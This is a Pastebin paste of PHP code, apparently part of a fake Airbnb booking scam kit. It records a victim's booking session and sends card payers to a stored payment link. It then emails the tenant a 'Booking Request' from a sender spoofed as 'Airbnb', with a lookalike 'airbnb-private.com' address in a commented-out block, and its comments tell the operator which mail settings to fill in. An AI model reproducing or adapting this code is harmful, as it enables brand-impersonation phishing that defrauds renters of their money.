Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if ($_SESSION['completed'] == true){
- header("Location: ".$_SESSION['selflink']."");
- //echo "tot nasaol";
- }else{
- include('functions.php');
- //include('classes.php');
- $reference = $_SESSION['reference'];
- $_SESSION['completed'] = true;
- $_SESSION['apocalypse'] = date("m/d/Y", mktime(0, 0, 0, date("m"), date("d")+4, date("Y")));
- // De facut pentru plata cu cc=1
- if($_POST['payment_type'] == 1){
- //echo "Plata prin cc";
- $_SESSION['payType'] = 1;
- if (checkRefSql($reference)) newCompleted();
- header("Location: ".$_SESSION['payLink']."");
- die;
- }else{
- //echo "Plata prin cont";
- $_SESSION['payType'] = 2;
- }//die;
- if (checkRefSql($reference)) newCompleted();
- //Mail with smtp
- require 'mailer/PHPMailerAutoload.php';
- $mail = new PHPMailer;
- //$mail->SMTPDebug = 3;
- $mail->isSMTP();
- $mail->Host = 'nl7.nlkoddos.com'; // modifica aici nl7 cu ce ai tu
- $mail->SMTPAuth = true;
- $mail->Username = 'verify@domeniu.com'; // modifica mail-ul facut in koddos
- $mail->Password = 'parola'; // parola
- $mail->SMTPsecure = 'tls';
- $mail->Port = 465;
- $mail->setFrom('verify@domeniu.com', 'Airbnb'); // modifica aici mail si nume
- $mail->addAddress($_SESSION['tenantEmail']);
- $mail->addReplyTo('verify@domeniu.com', 'Airbnb'); // modifica aici mail si nume
- $mail->isHTML(true);
- $mail->Subject = 'Booking Request - '.$_SESSION['propertyTitle'];
- //$mail->Body = 'Un mesaj<br>Alta linie';
- $code = file_get_contents('mail-cu-reply.php');
- $code = str_replace('%name%', $_SESSION['tenantName'], $code);
- $timestamp = date('Y-m-d H:i:s', time());
- $code = str_replace('%timestamp%', $timestamp, $code);
- $mail->Body = $code;
- if(!$mail->send()) {
- //echo 'Message could not be sent.';
- //echo 'Mailer Error: ' . $mail->ErrorInfo;
- } else {
- //echo 'Message has been sent';
- }
- /*/ Send confirmation email to tenant
- $to = $_SESSION['tenantEmail'];
- $subject = "Booking Request - ".$_SESSION['propertyTitle'];
- $email = "Airbnb Verify <verify@airbnb-private.com>";
- $message = file_get_contents('mail-cu-reply.php');
- //am adaugat astea la headers ca sa trimita html, ca altfel trimitea doar textul html`ului
- $headers = "MIME-Version: 1.0" . "\r\n";
- $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
- $headers .= "From: $email"."\r\n";
- $sent = mail($to, $subject, $message, $headers);
- */
- //print("<br>".file_get_contents('../bookings/pasture.txt'));
- header("Location: ".$_SESSION['selflink']."");
- }
- var_dump($_SESSION);
- ?>
- <a href="#" onclick="<?php session_destroy();?>">Destroy!</a>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement